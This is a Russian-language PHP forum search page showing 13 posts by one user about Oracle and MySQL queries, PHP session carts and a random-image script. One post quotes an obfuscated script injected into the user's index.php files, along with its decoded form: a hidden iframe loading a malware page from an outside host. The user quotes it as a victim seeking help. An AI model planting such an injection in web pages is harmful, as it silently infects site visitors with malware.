PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи

Страниц (1): [1]

> Найдено сообщений: 13
Silus Отправлено: 21 Апреля, 2009 - 10:32:36 • Тема: запрос на Oracle • Форум: SQL и Архитектура БД

Ответов: 3
Просмотров: 57
Champion пишет:
Не работает из-за группировки.

Вы правы, Оракл ругался на "GROUP BY".
Champion пишет:
А первые или последние записи выбираются запросом
SELECT FIRST 5 model, brend FROM netbook ORDER BY Brend ASC,Model ASC /*или DESC*/

Если я не ошибаюсь, этот запрос выведит просто первые или последние записи. Мне нужно вывести по одной модели(первую или последнюю) из каждого бренда. Поэтому я и использовал группировку.
Silus Отправлено: 20 Апреля, 2009 - 22:19:58 • Тема: запрос на Oracle • Форум: SQL и Архитектура БД

Ответов: 3
Просмотров: 57
Есть таблица "Ноутбуки" с полями (Id,Model,Brend). Нужно выбрать первые или последние записи(модели) по каждому бренду, отсортированному по алфавиту.
Я сделал запрос на MySQL, все работает:

CODE (text):
скопировать код в буфер обмена
  1. SELECT t.Model,t.Brend FROM (SELECT * FROM netbook ORDER BY Brend ASC,Model ASC) t GROUP BY t.Brend;


Но в oraclе данный запрос не работает. В чем может быть ошибка или я неправильно составил запрос?
Silus Отправлено: 12 Сентября, 2008 - 12:16:54 • Тема: стек? • Форум: Программирование на PHP

Ответов: 1
Просмотров: 215
Возможно ли создать стек на php, пользуясь только ссылками(добавление, удаление без функций array_pop(),array_push()...)?
Silus Отправлено: 17 Июля, 2008 - 15:59:36 • Тема: Не работает корзина • Форум: Программирование на PHP

Ответов: 2
Просмотров: 194
ясно, буду искать...))
Silus Отправлено: 17 Июля, 2008 - 14:14:03 • Тема: Не работает корзина • Форум: Программирование на PHP

Ответов: 2
Просмотров: 194
Сделал корзину для магазина. Данные хранятся в сессии. Но после нескольких кликов по сайту все данные из корзины стираются (вроде вообще вся сессия полностью стирается). На каждой странице точно есть session_start();. Корзина правильно работает только в браузере FireFox 3, в других браузерах - нет. Из-за чего сессия после нескольких кликов стирается?
Silus Отправлено: 10 Декабря, 2007 - 22:36:20 • Тема: Возникла проблема с сайтом... • Форум: Программирование на PHP

Ответов: 8
Просмотров: 428
Вообщем нашел я этот пинч (windowsupdater.exe), удалил его, поменял все пароли...
Если не поможет, тогда точно Format C:\ Ниндзя
Silus Отправлено: 10 Декабря, 2007 - 21:01:25 • Тема: Возникла проблема с сайтом... • Форум: Программирование на PHP

Ответов: 8
Просмотров: 428
Привет всем. Значит проблема такая:
Во всех файлах с названием index.php вдруг появляются такие строки-

"<script>document.write(unescape('%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%75%70%64%61%74%65%7a%2e%69%6e%66%6f%2f%65%74%63%2f%74%64%73%2e%70%68%70%22%20%77%69%64%74%68%3d%30%20%68%65%69%67%68%74%3d%30%20%66%72%61%6d%65%62%6f%72%64%65%72%3d%30%20%6f%6e%4c%6f%61%64%3d%22%73%74%61%74%75%73%3d%64%65%66%61%75%6c%74%53%74%61%74%75%73%3b%22%3e%3c%2f%69%66%72%61%6d%65%3e'));</script>".

Расшифрованый код: "<iframe src="http://updatez.info/etc/tds.php" width=0 height=0 frameborder=0 onLoad="status=defaultStatus;"></iframe>".

Я никак не могу понять, откуда берутся эти строки. Этот код загружает вредоносное ПО!
Я уже устал удалять этот код из всех файлов index.php, а их у меня очень много.
Может кто знает, как избавиться от этого кода?
Silus Отправлено: 01 Августа, 2007 - 23:11:46 • Тема: [Рандомное изображение] • Форум: Программирование на PHP

Ответов: 5
Просмотров: 499
Что-то вроде этого:

PHP:
скопировать код в буфер обмена
  1. $dir = opendir("путь к папке");
  2. $kol=0;
  3. while ($file = readdir($dir)) :
  4. if (($file!=".") && ($file!="..")){
  5. $massfoto[$kol]=$file;
  6. $kol++;
  7. }
  8. endwhile;
  9. $rnd_foto = mt_rand(0,$kol);        
  10. echo "<a href="./index.php?n=media&sub=screenshots"><img src=$dir.$massfoto[$rnd_foto] width="195" border="0" alt="Скриншоты wow" /></a>";
  11. closedir($dir);
  12.  
Silus Отправлено: 01 Августа, 2007 - 22:48:18 • Тема: Правильный запрос • Форум: SQL и Архитектура БД

Ответов: 9
Просмотров: 103
valenok пишет:
Но опять же, наверное вы придумали нелучший способ решения какойто задачи.
А на практике разбив строку вы не многое выиграли.
Вы выиграли лишь одну строку кода и немного времени.

Только что сделал, как я предлагал выше (разбиением на столбцы).
Вот результаты теста при 1000 записей:
    последовательным перебором=0,30 сек.

    новым способом(при разбиении на столбцы)=0,01 сек.

Производительность увеличилась почти в 30 раз!
Я думаю valenok, это хороший выигрыш во времени. Правда mysql запрос получается огромным.
Silus Отправлено: 01 Августа, 2007 - 18:50:10 • Тема: Правильный запрос • Форум: SQL и Архитектура БД

Ответов: 9
Просмотров: 103
valenok пишет:
Не надо идти по этому пути...

"Есть только два пути: правильный и по которому мы идем."
А вообще valenok ты прав.

Я решил добавлять массив $mass2 не в одно поле таблицы, а в несколько, т.е. сколько элементов в массиве, столько и полей. А числа из массива-это id записей из другой таблицы, количество записей в которой-фиксированной число, т.е. постоянное(~30).
Потом проверять на соответствие нужные поля и выводить запись. Полюбому будет быстрее, чем последовательный перебор.
Silus Отправлено: 01 Августа, 2007 - 12:33:27 • Тема: Правильный запрос • Форум: SQL и Архитектура БД

Ответов: 9
Просмотров: 103
Я имел ввиду, что id не обязательно должен быть равен 2, надо перебрать все id. Улыбка
Каждый id уникален.
Я пробовал так:
PHP:
скопировать код в буфер обмена
  1.  
  2. SELECT *
  3. FROM table
  4. WHERE value in (массив)
  5.  

Но в этом случае выводятся записи при первом совпадении одного элемента. А мне нужно, чтобы все элементы из value были в массиве $mass1.
Silus Отправлено: 01 Августа, 2007 - 11:45:21 • Тема: Правильный запрос • Форум: SQL и Архитектура БД

Ответов: 9
Просмотров: 103
Но ведь записей может быть сотни,тысячи:
А нужно выбрать ВСЕ такие записи.
Может надо изменить структуру таблицы?
Silus Отправлено: 01 Августа, 2007 - 11:14:45 • Тема: Правильный запрос • Форум: SQL и Архитектура БД

Ответов: 9
Просмотров: 103
Есть два массива: $mass1 и $mass2. Эти массивы состоят из различных цифр (1,23,4,56,7...).
Причем кол-во элементов в $mass1 >= $mass2.

Как лучше вставить $mass2 в таблицу на определенный ID, чтобы потом проверить наличие всех элементов из табличной записи в массиве $mass1.

Например:
$mass1=1,3,5,7,8,9;
Таблица(
id=1 value=2,3,4,5
id=2 value=1,3,5
...
)
Из этой таблицы должна вывестись только запись с id=2 , так как в value имеются все числа из $mass1.

Как это лучше сделать?

Страниц (1): [1]
Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB